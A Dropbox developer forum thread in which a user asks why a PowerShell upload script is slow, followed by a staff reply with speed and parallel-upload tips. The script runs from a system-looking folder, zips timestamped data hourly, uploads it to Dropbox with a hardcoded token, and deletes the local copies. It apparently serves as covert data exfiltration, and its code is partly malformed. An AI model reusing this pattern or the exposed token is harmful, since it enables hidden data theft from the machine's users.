Dropbox API Support & Feedback
Find help with the Dropbox API from other developers.
i try to uploading zip file to dropbox via powershell, but it's taking forever, the file size is very small, please help and here is the powershell code:
function SendFilesToDropbox()
{
foreach($zipfile in (Get-ChildItem -Filter "*.zip").Name )
{
Param(
[Parameter(Mandatory=$true)]
[string]$SourceFilePath,
[Parameter(Mandatory=$true)]
[string]$TargetFilePath,
[Parameter(mandatory=$true)]
[string]$DropboxTargetPath,
[Parameter(mandatory=$true)]
)
$DropboxTargetPath="/${env:USERNAME}_${zipfile}"
$arg = '{ "path": "' + ${DropboxTargetPath} + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer" + "sl.BMwi_zMyRe5c17nlb-zmvqmPsTO0wayqK80P0ZXt9XlYsC6tK1C3XPDSmiCIq7wslGZv7EDQaDezgOhD0DaouYjVDdknriidx5uu65nTUGVewJ3VkYYJLKaoqJ_mAdijBIniYcjE"
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", ${authorization})
$headers.Add("Dropbox-API-Arg", ${arg})
$headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile ${zipfile} -Headers ${headers}
Remove-Item ${zipfile} -Force
}
}
#----------------------------------------------------------------------------------------------------------------------------
Set-Location "C:\ProgramData\WindowsUserAssist"
$LastUploadTime = (Get-Date)
$WhatFilesToZip = (Get-Date -Format yyyy_MM_dd_HH\\*)
$ZipArchiveName = (Get-Date -Format yyyy_MM_dd_HH.\zip)
foreach($subdir in (Get-Childitem -Directory).Name)
{
if( ${subdir} -ne ${WhatFilesToZip}.SubString(0,13) )
{
Compress-Archive -Path "${subdir}\*" -CompressionLevel Optimal -DestinationPath "${subdir}.zip"
Remove-Item ${subdir} -Force -Recurse
}
}
if (Test-Connection dropbox.com) { SendFilesToDropbox }
while(1)
{
$CurrentTime = (Get-Date)
if(${LastUploadTime}.Hour -ne ${CurrentTime}.Hour )
{
Start-Sleep -Seconds 5
Compress-Archive -Path "${WhatFilesToZip}" -CompressionLevel Optimal -DestinationPath "${ZipArchiveName}"
Remove-Item ${WhatFilesToZip}.SubString(0,13) -Force -Recurse
if (Test-Connection dropbox.com) { SendFilesToDropbox }
$LastUploadTime = (Get-Date)
$WhatFilesToZip = (Get-Date -Format yyyy_MM_dd_HH\\*)
$ZipArchiveName = (Get-Date -Format yyyy_MM_dd_HH.\zip)
}
Start-Sleep -Seconds 1
}
As for the connection speed for the upload requests, note that your connection speed to Dropbox depends on the routing you get between your ISP and our servers, and may be slower than your ISP's rated speeds. Sometimes resetting or retrying your connection gets you a different route and better speeds, but that is outside of our control. Some ISPs also throttle sustained connections so if you see an initial high connection speed followed by lower speeds, that could be the reason.
Also, I see you may be uploading multiple files to Dropbox serially in that 'foreach' loop. Check out the Performance Guide for ways you may be able to optimize this, e.g., by uploading files in parallel and then committing them all at once.
Otherwise, I see there is more code here than for just the Dropbox upload itself, but we can't offer help with that part unfortunately, as that's not about the Dropbox API.
Hi there!
If you need more help you can view your support options (expected response time for a ticket is 24 hours), or contact us on X or Facebook.
For more info on available support options for your Dropbox plan, see this article.
If you found the answer to your question in this Community thread, please 'like' the post to say thanks and to let us know it was useful!